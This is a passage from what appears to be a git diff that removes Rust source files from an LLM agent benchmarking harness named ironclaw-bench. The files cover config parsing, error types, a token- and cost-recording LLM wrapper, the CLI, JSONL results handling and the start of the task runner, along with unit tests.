let content = std::fs::read_to_string(path)?;
let config: BenchConfig = toml::from_str(&content)?;
if config.matrix.is_empty() {
return Err(BenchError::Config(
"config must have at least one [[matrix]] entry".to_string(),
));
}
Ok(config)
}
/// Create a minimal config for when no config file is provided.
/// Uses defaults and optional CLI overrides.
pub fn minimal(model: Option<String>) -> Self {
let label = model.as_deref().unwrap_or("default").to_string();
Self {
results_dir: default_results_dir(),
task_timeout: default_task_timeout(),
parallelism: default_parallelism(),
matrix: vec![MatrixEntry { label, model }],
suite_config: toml::Value::Table(toml::map::Map::new()),
}
}
/// Get the suite_config as a generic map for adapter use.
pub fn suite_config_map(&self) -> toml::map::Map<String, toml::Value> {
match &self.suite_config {
toml::Value::Table(map) => map.clone(),
_ => toml::map::Map::new(),
}
}
/// Get a string value from suite_config.
pub fn suite_config_str(&self, key: &str) -> Option<String> {
self.suite_config_map()
.get(key)
.and_then(|v| v.as_str())
.map(|s| s.to_string())
}
}
fn default_suite_config() -> toml::Value {
toml::Value::Table(toml::map::Map::new())
}
fn default_results_dir() -> PathBuf {
PathBuf::from("./bench-results")
}
fn default_task_timeout() -> Duration {
Duration::from_secs(300)
}
fn default_parallelism() -> usize {
1
}
/// Deserialize a duration from a string like "300s", "5m", etc.
fn deserialize_duration<'de, D>(deserializer: D) -> Result<Duration, D::Error>
where
D: serde::Deserializer<'de>,
{
let s = String::deserialize(deserializer)?;
parse_duration(&s).map_err(serde::de::Error::custom)
}
fn parse_duration(s: &str) -> Result<Duration, String> {
let s = s.trim();
if let Some(secs) = s.strip_suffix('s') {
secs.trim()
.parse::<u64>()
.map(Duration::from_secs)
.map_err(|e| format!("invalid seconds: {e}"))
} else if let Some(mins) = s.strip_suffix('m') {
mins.trim()
.parse::<u64>()
.map(|m| Duration::from_secs(m * 60))
.map_err(|e| format!("invalid minutes: {e}"))
} else {
// Assume seconds if no suffix
s.parse::<u64>()
.map(Duration::from_secs)
.map_err(|e| format!("invalid duration '{s}': {e}"))
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_duration() {
assert_eq!(parse_duration("300s").unwrap(), Duration::from_secs(300));
assert_eq!(parse_duration("5m").unwrap(), Duration::from_secs(300));
assert_eq!(parse_duration("60").unwrap(), Duration::from_secs(60));
}
#[test]
fn test_minimal_config() {
let config = BenchConfig::minimal(Some("test-model".to_string()));
assert_eq!(config.matrix.len(), 1);
assert_eq!(config.matrix[0].label, "test-model");
assert_eq!(config.parallelism, 1);
}
#[test]
fn test_config_rejects_empty_matrix() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("empty.toml");
std::fs::write(
&path,
r#"
results_dir = "./results"
task_timeout = "60s"
"#,
)
.unwrap();
let err = BenchConfig::from_file(&path).unwrap_err();
assert!(
err.to_string().contains("at least one [[matrix]]"),
"got: {err}"
);
}
#[test]
fn test_config_from_toml() {
let toml_str = r#"
results_dir = "./my-results"
task_timeout = "60s"
parallelism = 2
[[matrix]]
label = "fast"
model = "gpt-4o-mini"
[[matrix]]
label = "full"
model = "claude-3-5-sonnet"
[suite_config]
dataset_path = "./data/test.jsonl"
"#;
let config: BenchConfig = toml::from_str(toml_str).unwrap();
assert_eq!(config.results_dir, PathBuf::from("./my-results"));
assert_eq!(config.task_timeout, Duration::from_secs(60));
assert_eq!(config.parallelism, 2);
assert_eq!(config.matrix.len(), 2);
assert_eq!(
config.suite_config_str("dataset_path").unwrap(),
"./data/test.jsonl"
);
}
}
-31
View File
@@ -1,31 +0,0 @@
use std::path::PathBuf;
#[derive(Debug, thiserror::Error)]
pub enum BenchError {
#[error("Config error: {0}")]
Config(String),
#[error("Config file not found: {path}")]
ConfigNotFound { path: PathBuf },
#[error("Suite {name} not found. Available: {available}")]
SuiteNotFound { name: String, available: String },
#[error("Task {task_id} failed: {reason}")]
TaskFailed { task_id: String, reason: String },
#[error("Scoring error for task {task_id}: {reason}")]
Scoring { task_id: String, reason: String },
#[error("IO error: {0}")]
Io(#[from] std::io::Error),
#[error("JSON error: {0}")]
Json(#[from] serde_json::Error),
#[error("TOML parse error: {0}")]
Toml(#[from] toml::de::Error),
#[error("Agent error: {0}")]
Agent(#[from] ironclaw::Error),
}
-251
View File
@@ -1,251 +0,0 @@
use std::sync::Arc;
use std::sync::atomic::{AtomicU32, Ordering};
use std::time::Instant;
use async_trait::async_trait;
use rust_decimal::Decimal;
use rust_decimal::prelude::ToPrimitive;
use tokio::sync::Mutex;
use ironclaw::error::LlmError;
use ironclaw::llm::{
CompletionRequest, CompletionResponse, LlmProvider, ToolCompletionRequest,
ToolCompletionResponse,
};
/// Recorded metrics from a single LLM call.
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct LlmCallRecord {
pub input_tokens: u32,
pub output_tokens: u32,
pub duration_ms: u64,
pub had_tool_calls: bool,
}
/// Wraps an `LlmProvider` to record per-call metrics.
///
/// The wrapper is transparent to the agent: it delegates every call
/// to the inner provider and captures token counts and timings.
pub struct InstrumentedLlm {
inner: Arc<dyn LlmProvider>,
records: Mutex<Vec<LlmCallRecord>>,
total_input_tokens: AtomicU32,
total_output_tokens: AtomicU32,
call_count: AtomicU32,
}
impl InstrumentedLlm {
pub fn new(inner: Arc<dyn LlmProvider>) -> Self {
Self {
inner,
records: Mutex::new(Vec::new()),
total_input_tokens: AtomicU32::new(0),
total_output_tokens: AtomicU32::new(0),
call_count: AtomicU32::new(0),
}
}
/// Take all recorded call metrics, clearing the internal buffer.
pub async fn take_records(&self) -> Vec<LlmCallRecord> {
let mut records = self.records.lock().await;
std::mem::take(&mut *records)
}
/// Snapshot of total tokens without clearing.
pub fn total_input_tokens(&self) -> u32 {
self.total_input_tokens.load(Ordering::Relaxed)
}
pub fn total_output_tokens(&self) -> u32 {
self.total_output_tokens.load(Ordering::Relaxed)
}
pub fn call_count(&self) -> u32 {
self.call_count.load(Ordering::Relaxed)
}
/// Estimated cost using the inner provider's cost-per-token rates.
pub fn estimated_cost(&self) -> f64 {
let (input_rate, output_rate) = self.inner.cost_per_token();
let input_cost =
input_rate * Decimal::from(self.total_input_tokens.load(Ordering::Relaxed));
let output_cost =
output_rate * Decimal::from(self.total_output_tokens.load(Ordering::Relaxed));
let total = input_cost + output_cost;
total.to_f64().unwrap_or(0.0)
}
/// Reset all counters and records.
pub async fn reset(&self) {
self.records.lock().await.clear();
self.total_input_tokens.store(0, Ordering::Relaxed);
self.total_output_tokens.store(0, Ordering::Relaxed);
self.call_count.store(0, Ordering::Relaxed);
}
async fn record(
&self,
input_tokens: u32,
output_tokens: u32,
duration_ms: u64,
had_tool_calls: bool,
) {
self.total_input_tokens
.fetch_add(input_tokens, Ordering::Relaxed);
self.total_output_tokens
.fetch_add(output_tokens, Ordering::Relaxed);
self.call_count.fetch_add(1, Ordering::Relaxed);
self.records.lock().await.push(LlmCallRecord {
input_tokens,
output_tokens,
duration_ms,
had_tool_calls,
});
}
}
#[async_trait]
impl LlmProvider for InstrumentedLlm {
fn model_name(&self) -> &str {
self.inner.model_name()
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
self.inner.cost_per_token()
}
async fn complete(&self, request: CompletionRequest) -> Result<CompletionResponse, LlmError> {
let start = Instant::now();
let response = self.inner.complete(request).await?;
let elapsed = start.elapsed().as_millis() as u64;
self.record(
response.input_tokens,
response.output_tokens,
elapsed,
false,
)
.await;
Ok(response)
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
let start = Instant::now();
let response = self.inner.complete_with_tools(request).await?;
let elapsed = start.elapsed().as_millis() as u64;
let had_tool_calls = !response.tool_calls.is_empty();
self.record(
response.input_tokens,
response.output_tokens,
elapsed,
had_tool_calls,
)
.await;
Ok(response)
}
async fn list_models(&self) -> Result<Vec<String>, LlmError> {
self.inner.list_models().await
}
}
#[cfg(test)]
mod tests {
use super::*;
use ironclaw::llm::{ChatMessage, CompletionRequest, CompletionResponse, FinishReason};
/// Fake LLM that returns a canned response with known token counts.
struct FakeLlm;
#[async_trait]
impl LlmProvider for FakeLlm {
fn model_name(&self) -> &str {
"fake-model"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(
Decimal::new(3, 6), // $0.000003 per input token
Decimal::new(15, 6), // $0.000015 per output token
)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, LlmError> {
Ok(CompletionResponse {
content: "test response".to_string(),
input_tokens: 100,
output_tokens: 50,
finish_reason: FinishReason::Stop,
response_id: None,
})
}
async fn complete_with_tools(
&self,
_request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
Ok(ToolCompletionResponse {
content: Some("tool response".to_string()),
tool_calls: vec![],
input_tokens: 200,
output_tokens: 100,
finish_reason: FinishReason::Stop,
response_id: None,
})
}
}
#[tokio::test]
async fn test_instrumented_records_metrics() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
assert_eq!(instrumented.call_count(), 1);
assert_eq!(instrumented.total_input_tokens(), 100);
assert_eq!(instrumented.total_output_tokens(), 50);
let records = instrumented.take_records().await;
assert_eq!(records.len(), 1);
assert_eq!(records[0].input_tokens, 100);
assert!(!records[0].had_tool_calls);
}
#[tokio::test]
async fn test_instrumented_cost_calculation() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
// 100 * 0.000003 + 50 * 0.000015 = 0.0003 + 0.00075 = 0.00105
let cost = instrumented.estimated_cost();
assert!((cost - 0.00105).abs() < 0.0001);
}
#[tokio::test]
async fn test_instrumented_reset() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
assert_eq!(instrumented.call_count(), 1);
instrumented.reset().await;
assert_eq!(instrumented.call_count(), 0);
assert_eq!(instrumented.total_input_tokens(), 0);
let records = instrumented.take_records().await;
assert!(records.is_empty());
}
}
-313
View File
@@ -1,313 +0,0 @@
mod adapters;
mod channel;
mod config;
mod error;
mod instrumented_llm;
mod results;
mod runner;
mod scoring;
mod suite;
use std::path::PathBuf;
use std::sync::Arc;
use clap::{Parser, Subcommand};
use tracing_subscriber::{EnvFilter, layer::SubscriberExt, util::SubscriberInitExt};
use uuid::Uuid;
use crate::config::BenchConfig;
#[derive(Parser)]
#[command(name = "ironclaw-bench", about = "IronClaw benchmarking harness")]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Run a benchmark suite.
Run {
/// Suite to run (custom, gaia, spot, tau_bench, swe_bench).
#[arg(long)]
suite: String,
/// Path to bench config TOML.
#[arg(long)]
config: Option<PathBuf>,
/// Override model for all matrix entries.
#[arg(long)]
model: Option<String>,
/// Max tasks to run in parallel.
#[arg(long)]
parallelism: Option<usize>,
/// Sample N tasks from the suite (for quick testing).
#[arg(long)]
sample: Option<usize>,
/// Only run these task IDs (comma-separated).
#[arg(long, value_delimiter = ',')]
task_ids: Option<Vec<String>>,
/// Only run tasks with these tags (comma-separated).
#[arg(long, value_delimiter = ',')]
tags: Option<Vec<String>>,
/// Per-task timeout in seconds.
#[arg(long)]
timeout_secs: Option<u64>,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
/// Resume a previous run by ID.
#[arg(long)]
resume: Option<Uuid>,
},
/// Show results for a run.
Results {
/// Run ID or "latest".
#[arg(default_value = "latest")]
run_id: String,
/// Output format.
#[arg(long, default_value = "table")]
format: ResultsFormat,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
},
/// Compare two runs.
Compare {
/// Baseline run ID.
baseline: Uuid,
/// Comparison run ID.
comparison: Uuid,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
},
/// List available benchmark suites.
List,
}
#[derive(Clone, Debug, clap::ValueEnum)]
enum ResultsFormat {
Table,
Json,
Csv,
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let cli = Cli::parse();
tracing_subscriber::registry()
.with(
EnvFilter::try_from_default_env()
.unwrap_or_else(|_| EnvFilter::new("ironclaw_bench=info,ironclaw=warn")),
)
.with(tracing_subscriber::fmt::layer().with_target(false))
.init();
match cli.command {
Commands::List => {
println!("Available benchmark suites:\n");
for (id, desc) in adapters::KNOWN_SUITES {
println!(" {:<15} {}", id, desc);
}
println!();
}
Commands::Run {
suite,
config: config_path,
model,
parallelism,
sample,
task_ids,
tags,
timeout_secs,
results_dir,
resume,
} => {
// Load or create config
let mut bench_config = if let Some(ref path) = config_path {
BenchConfig::from_file(path)?
} else {
BenchConfig::minimal(model.clone())
};
// Apply CLI overrides
if let Some(p) = parallelism {
bench_config.parallelism = p;
}
if let Some(t) = timeout_secs {
bench_config.task_timeout = std::time::Duration::from_secs(t);
}
if let Some(ref dir) = results_dir {
bench_config.results_dir = dir.clone();
}
// If model override specified and we have matrix entries, update them
if let Some(ref m) = model {
for entry in &mut bench_config.matrix {
entry.model = Some(m.clone());
}
}
// Create suite
let bench_suite = adapters::create_suite(&suite, &bench_config)?;
// Initialize ironclaw LLM provider
let ironclaw_config = ironclaw::Config::from_env().await.map_err(|e| {
anyhow::anyhow!(
"Failed to load ironclaw config: {}. Make sure .env is configured.",
e
)
})?;
let session = ironclaw::llm::create_session_manager(ironclaw::llm::SessionConfig {
auth_base_url: ironclaw_config.llm.nearai.auth_base_url.clone(),
session_path: ironclaw_config.llm.nearai.session_path.clone(),
})
.await;
session.ensure_authenticated().await?;
let llm = ironclaw::llm::create_llm_provider(&ironclaw_config.llm, session)?;
let safety = Arc::new(ironclaw::safety::SafetyLayer::new(&ironclaw_config.safety));
let runner = runner::BenchRunner::new(bench_suite, bench_config.clone(), llm, safety);
// Run for each matrix entry
for matrix_entry in &bench_config.matrix {
let run_id = runner
.run(
matrix_entry,
sample,
task_ids.as_deref(),
tags.as_deref(),
resume,
)
.await?;
println!("Run complete: {}", run_id);
}
}
Commands::Results {
run_id,
format,
results_dir,
} => {
let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results"));
let uuid = if run_id == "latest" {
results::find_latest_run(&base)?
.ok_or_else(|| anyhow::anyhow!("No runs found in {}", base.display()))?
} else {
Uuid::parse_str(&run_id)?
};
let json_path = results::run_json_path(&base, uuid);
let jsonl_path = results::tasks_jsonl_path(&base, uuid);
let run = results::read_run_result(&json_path)?;
let tasks = results::read_task_results(&jsonl_path)?;
match format {
ResultsFormat::Table => {
results::print_results_table(&tasks, &run);
}
ResultsFormat::Json => {
let output = serde_json::json!({
"run": run,
"tasks": tasks,
});
println!("{}", serde_json::to_string_pretty(&output)?);
}
ResultsFormat::Csv => {
println!("task_id,score,label,tokens,cost,turns,time_s");
for task in &tasks {
println!(
"{},{:.3},{},{},{:.4},{},{:.1}",
task.task_id,
task.score.value,
task.score.label,
task.trace.input_tokens + task.trace.output_tokens,
task.trace.estimated_cost_usd,
task.trace.turns,
task.trace.wall_time_ms as f64 / 1000.0,
);
}
}
}
}
Commands::Compare {
baseline,
comparison,
results_dir,
} => {
let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results"));
let baseline_run = results::read_run_result(&results::run_json_path(&base, baseline))?;
let comparison_run =
results::read_run_result(&results::run_json_path(&base, comparison))?;
println!("\nComparison: {} vs {}\n", baseline, comparison);
println!(
"{:<20} {:>12} {:>12} {:>10}",
"Metric", "Baseline", "Comparison", "Delta"
);
println!("{}", "-".repeat(58));
let pass_delta = comparison_run.pass_rate - baseline_run.pass_rate;
println!(
"{:<20} {:>11.1}% {:>11.1}% {:>+9.1}%",
"Pass rate",
baseline_run.pass_rate * 100.0,
comparison_run.pass_rate * 100.0,
pass_delta * 100.0,
);
let score_delta = comparison_run.avg_score - baseline_run.avg_score;
println!(
"{:<20} {:>12.3} {:>12.3} {:>+10.3}",
"Avg score", baseline_run.avg_score, comparison_run.avg_score, score_delta,
);
let cost_delta = comparison_run.total_cost_usd - baseline_run.total_cost_usd;
println!(
"{:<20} {:>11.4}$ {:>11.4}$ {:>+9.4}$",
"Total cost",
baseline_run.total_cost_usd,
comparison_run.total_cost_usd,
cost_delta,
);
let time_b = baseline_run.total_wall_time_ms as f64 / 1000.0;
let time_c = comparison_run.total_wall_time_ms as f64 / 1000.0;
println!(
"{:<20} {:>11.1}s {:>11.1}s {:>+9.1}s",
"Total time",
time_b,
time_c,
time_c - time_b,
);
println!(
"{:<20} {:>12} {:>12}",
"Model", baseline_run.model, comparison_run.model,
);
println!();
}
}
Ok(())
}
-473
View File
@@ -1,473 +0,0 @@
use std::collections::HashSet;
use std::io::{BufRead, Write};
use std::path::{Path, PathBuf};
use chrono::{DateTime, Utc};
use uuid::Uuid;
use crate::error::BenchError;
use crate::suite::BenchScore;
/// Metrics from a single task run: LLM usage, timing, tool calls.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct Trace {
pub wall_time_ms: u64,
pub llm_calls: u32,
pub input_tokens: u32,
pub output_tokens: u32,
pub estimated_cost_usd: f64,
pub tool_calls: Vec<TraceToolCall>,
pub turns: u32,
pub hit_iteration_limit: bool,
pub hit_timeout: bool,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TraceToolCall {
pub name: String,
pub duration_ms: u64,
pub success: bool,
}
/// Result of running a single benchmark task.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TaskResult {
pub task_id: String,
pub suite_id: String,
pub score: BenchScore,
pub trace: Trace,
pub response: String,
pub started_at: DateTime<Utc>,
pub finished_at: DateTime<Utc>,
pub config_label: String,
#[serde(default)]
pub error: Option<String>,
}
/// Aggregate results for a full benchmark run.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct RunResult {
pub run_id: Uuid,
pub suite_id: String,
pub config_label: String,
pub model: String,
/// Short git commit hash at the time of the run.
#[serde(default)]
pub commit_hash: String,
pub pass_rate: f64,
pub avg_score: f64,
pub total_tasks: usize,
pub completed_tasks: usize,
pub total_cost_usd: f64,
pub total_wall_time_ms: u64,
pub started_at: DateTime<Utc>,
pub finished_at: DateTime<Utc>,
}
impl RunResult {
/// Build aggregate from individual task results.
#[allow(clippy::too_many_arguments)]
pub fn from_tasks(
run_id: Uuid,
suite_id: &str,
config_label: &str,
model: &str,
commit_hash: &str,
total_tasks: usize,
tasks: &[TaskResult],
started_at: DateTime<Utc>,
) -> Self {
let pass_count = tasks.iter().filter(|t| t.score.value >= 1.0).count();
let pass_rate = if tasks.is_empty() {
0.0
} else {
pass_count as f64 / tasks.len() as f64
};
let avg_score = if tasks.is_empty() {
0.0
} else {
tasks.iter().map(|t| t.score.value).sum::<f64>() / tasks.len() as f64
};
let total_cost: f64 = tasks.iter().map(|t| t.trace.estimated_cost_usd).sum();
let total_wall: u64 = tasks.iter().map(|t| t.trace.wall_time_ms).sum();
Self {
run_id,
suite_id: suite_id.to_string(),
config_label: config_label.to_string(),
model: model.to_string(),
commit_hash: commit_hash.to_string(),
pass_rate,
avg_score,
total_tasks,
completed_tasks: tasks.len(),
total_cost_usd: total_cost,
total_wall_time_ms: total_wall,
started_at,
finished_at: Utc::now(),
}
}
}
/// Append a single task result as one JSON line to the JSONL file.
pub fn append_task_result(path: &Path, result: &TaskResult) -> Result<(), BenchError> {
let mut file = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(path)?;
let line = serde_json::to_string(result)?;
writeln!(file, "{line}")?;
Ok(())
}
/// Overwrite the JSONL file with the given results (used after scoring).
pub fn write_task_results(path: &Path, results: &[TaskResult]) -> Result<(), BenchError> {
let mut file = std::fs::File::create(path)?;
for result in results {
let line = serde_json::to_string(result)?;
writeln!(file, "{line}")?;
}
Ok(())
}
/// Read all task results from a JSONL file.
pub fn read_task_results(path: &Path) -> Result<Vec<TaskResult>, BenchError> {
if !path.exists() {
return Ok(Vec::new());
}
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
let mut results = Vec::new();
for line in reader.lines() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let result: TaskResult = serde_json::from_str(trimmed)?;
results.push(result);
}
Ok(results)
}
/// Write the aggregate run result as JSON.
pub fn write_run_result(path: &Path, result: &RunResult) -> Result<(), BenchError> {
let json = serde_json::to_string_pretty(result)?;
std::fs::write(path, json)?;
Ok(())
}
/// Read the aggregate run result from JSON.
pub fn read_run_result(path: &Path) -> Result<RunResult, BenchError> {
let json = std::fs::read_to_string(path)?;
let result: RunResult = serde_json::from_str(&json)?;
Ok(result)
}
/// Get the set of already-completed task IDs from a JSONL file (for resume).
///
/// Only includes tasks that have been scored (label != "pending"). Tasks that
/// were written but not scored (e.g., from an interrupted run) will be re-executed.
pub fn completed_task_ids(path: &Path) -> Result<HashSet<String>, BenchError> {
let results = read_task_results(path)?;
Ok(results
.into_iter()
.filter(|r| r.score.label != "pending")
.map(|r| r.task_id)
.collect())
}
/// Get the results directory for a specific run.
pub fn run_dir(base: &Path, run_id: Uuid) -> PathBuf {
base.join(run_id.to_string())
}
/// Get the tasks JSONL path for a run.
pub fn tasks_jsonl_path(base: &Path, run_id: Uuid) -> PathBuf {
run_dir(base, run_id).join("tasks.jsonl")
}
/// Get the run JSON path for a run.
pub fn run_json_path(base: &Path, run_id: Uuid) -> PathBuf {
run_dir(base, run_id).join("run.json")
}
/// Find the latest run directory by the modification time of its `run.json`.
///
/// Falls back to `tasks.jsonl` mtime, then directory mtime. This avoids the
/// issue where modifying files inside a directory doesn't update the directory's
/// mtime on many filesystems.
pub fn find_latest_run(base: &Path) -> Result<Option<Uuid>, BenchError> {
if !base.exists() {
return Ok(None);
}
let mut entries: Vec<_> = std::fs::read_dir(base)?
.filter_map(|e| e.ok())
.filter(|e| e.file_type().map(|ft| ft.is_dir()).unwrap_or(false))
.filter_map(|e| {
let name = e.file_name().to_string_lossy().to_string();
let uuid = Uuid::parse_str(&name).ok()?;
let dir_path = e.path();
// Prefer run.json mtime, fall back to tasks.jsonl, then directory
let modified = std::fs::metadata(dir_path.join("run.json"))
.and_then(|m| m.modified())
.or_else(|_| {
std::fs::metadata(dir_path.join("tasks.jsonl")).and_then(|m| m.modified())
})
.or_else(|_| e.metadata().and_then(|m| m.modified()))
.ok()?;
Some((uuid, modified))
})
.collect();
entries.sort_by(|a, b| b.1.cmp(&a.1));
Ok(entries.first().map(|(uuid, _)| *uuid))
}
/// Print a summary table of task results.
pub fn print_results_table(tasks: &[TaskResult], run: &RunResult) {
println!();
let commit_suffix = if run.commit_hash.is_empty() {
String::new()
} else {
format!(" | Commit: {}", run.commit_hash)
};
println!(
"Run: {} | Suite: {} | Model: {}{}",
run.run_id, run.suite_id, run.model, commit_suffix
);
println!(
"Pass rate: {:.1}% | Avg score: {:.3} | Tasks: {}/{} | Cost: ${:.4} | Time: {:.1}s",
run.pass_rate * 100.0,
run.avg_score,
run.completed_tasks,
run.total_tasks,
run.total_cost_usd,
run.total_wall_time_ms as f64 / 1000.0,
);
println!();
// Header
println!(
"{:<30} {:>6} {:>7} {:>8} {:>10} {:>6} {:>8}",
"Task ID", "Score", "Label", "Tokens", "Cost", "Turns", "Time"
);
println!("{}", "-".repeat(80));
for task in tasks {
let total_tokens = task.trace.input_tokens + task.trace.output_tokens;
let task_id_display = if task.task_id.len() > 28 {
let truncated: String = task.task_id.chars().take(25).collect();
format!("{truncated}...")
} else {
task.task_id.clone()
};
println!(
"{:<30} {:>6.3} {:>7} {:>8} {:>10.4} {:>6} {:>7.1}s",
task_id_display,
task.score.value,
task.score.label,
total_tokens,
task.trace.estimated_cost_usd,
task.trace.turns,
task.trace.wall_time_ms as f64 / 1000.0,
);
}
println!();
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_run_result_from_tasks() {
let tasks = vec![
TaskResult {
task_id: "t1".to_string(),
suite_id: "custom".to_string(),
score: BenchScore {
value: 1.0,
label: "pass".to_string(),
details: None,
},
trace: Trace {
wall_time_ms: 1000,
llm_calls: 2,
input_tokens: 100,
output_tokens: 50,
estimated_cost_usd: 0.01,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "answer".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
},
TaskResult {
task_id: "t2".to_string(),
suite_id: "custom".to_string(),
score: BenchScore {
value: 0.0,
label: "fail".to_string(),
details: Some("wrong".to_string()),
},
trace: Trace {
wall_time_ms: 2000,
llm_calls: 3,
input_tokens: 200,
output_tokens: 100,
estimated_cost_usd: 0.02,
tool_calls: vec![],
turns: 2,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "wrong answer".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
},
];
let run = RunResult::from_tasks(
Uuid::new_v4(),
"custom",
"default",
"test-model",
"abc1234",
2,
&tasks,
Utc::now(),
);
assert_eq!(run.pass_rate, 0.5);
assert_eq!(run.avg_score, 0.5);
assert_eq!(run.total_tasks, 2);
assert_eq!(run.completed_tasks, 2);
assert!((run.total_cost_usd - 0.03).abs() < f64::EPSILON);
assert_eq!(run.total_wall_time_ms, 3000);
}
#[test]
fn test_jsonl_roundtrip() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
let result = TaskResult {
task_id: "round-trip-test".to_string(),
suite_id: "custom".to_string(),
score: BenchScore::pass(),
trace: Trace {
wall_time_ms: 500,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.001,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "hello".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "test".to_string(),
error: None,
};
append_task_result(&path, &result).expect("append");
append_task_result(&path, &result).expect("append");
let loaded = read_task_results(&path).expect("read");
assert_eq!(loaded.len(), 2);
assert_eq!(loaded[0].task_id, "round-trip-test");
}
#[test]
fn test_completed_task_ids() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
let result = TaskResult {
task_id: "unique-id-1".to_string(),
suite_id: "custom".to_string(),
score: BenchScore::pass(),
trace: Trace {
wall_time_ms: 100,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.0,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "x".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "test".to_string(),
error: None,
};
append_task_result(&path, &result).expect("append");
let ids = completed_task_ids(&path).expect("ids");
assert!(ids.contains("unique-id-1"));
assert!(!ids.contains("unique-id-2"));
}
#[test]
fn test_write_task_results_overwrites() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
// Write initial "pending" result via append
let pending = TaskResult {
task_id: "t1".to_string(),
suite_id: "spot".to_string(),
score: BenchScore {
value: 0.0,
label: "pending".to_string(),
details: None,
},
trace: Trace {
wall_time_ms: 100,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.001,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "42".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
};
append_task_result(&path, &pending).expect("append");
// Verify pending score
let before = read_task_results(&path).expect("read");
assert_eq!(before.len(), 1);
assert_eq!(before[0].score.label, "pending");
// Overwrite with scored result
let mut scored = pending;
scored.score = BenchScore::pass();
write_task_results(&path, &[scored]).expect("write");
// Verify scored result replaced pending
let after = read_task_results(&path).expect("read");
assert_eq!(after.len(), 1);
assert_eq!(after[0].score.label, "pass");
assert_eq!(after[0].score.value, 1.0);
}
}
-550
View File
@@ -1,550 +0,0 @@
use std::collections::{HashMap, HashSet};
use std::sync::Arc;
use std::time::Instant;
use chrono::Utc;
use tokio::sync::Mutex;
use uuid::Uuid;
use ironclaw::agent::{Agent, AgentDeps};
use ironclaw::channels::{ChannelManager, IncomingMessage};
use ironclaw::config::AgentConfig;
use ironclaw::llm::LlmProvider;
use ironclaw::safety::SafetyLayer;
use ironclaw::tools::ToolRegistry;
use crate::channel::BenchChannel;
use crate::config::{BenchConfig, MatrixEntry};
use crate::error::BenchError;
use crate::instrumented_llm::InstrumentedLlm;
use crate::results::{
RunResult, TaskResult, Trace, append_task_result, completed_task_ids, run_dir, run_json_path,
tasks_jsonl_path, write_run_result, write_task_results,
};
use crate::suite::{BenchSuite, BenchTask, ConversationTurn, TaskSubmission, TurnRole};
/// Parameters for running a single task in isolation.
struct TaskRunParams<'a> {
task: &'a BenchTask,
suite_id: &'a str,
config_label: &'a str,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
timeout: std::time::Duration,
additional_tools: &'a [Arc<dyn ironclaw::tools::Tool>],
}
/// Orchestrates benchmark execution: loads tasks, runs agent per task,
/// scores results, writes JSONL output.
pub struct BenchRunner {
suite: Arc<dyn BenchSuite>,
config: BenchConfig,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
}
impl BenchRunner {
pub fn new(
suite: Box<dyn BenchSuite>,
config: BenchConfig,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
) -> Self {
Self {
suite: Arc::from(suite),
config,
llm,
safety,
}
}
/// Run the benchmark for one matrix entry.
///
/// Returns the run_id for result retrieval.
pub async fn run(
&self,
matrix: &MatrixEntry,
sample: Option<usize>,
task_filter: Option<&[String]>,
tag_filter: Option<&[String]>,
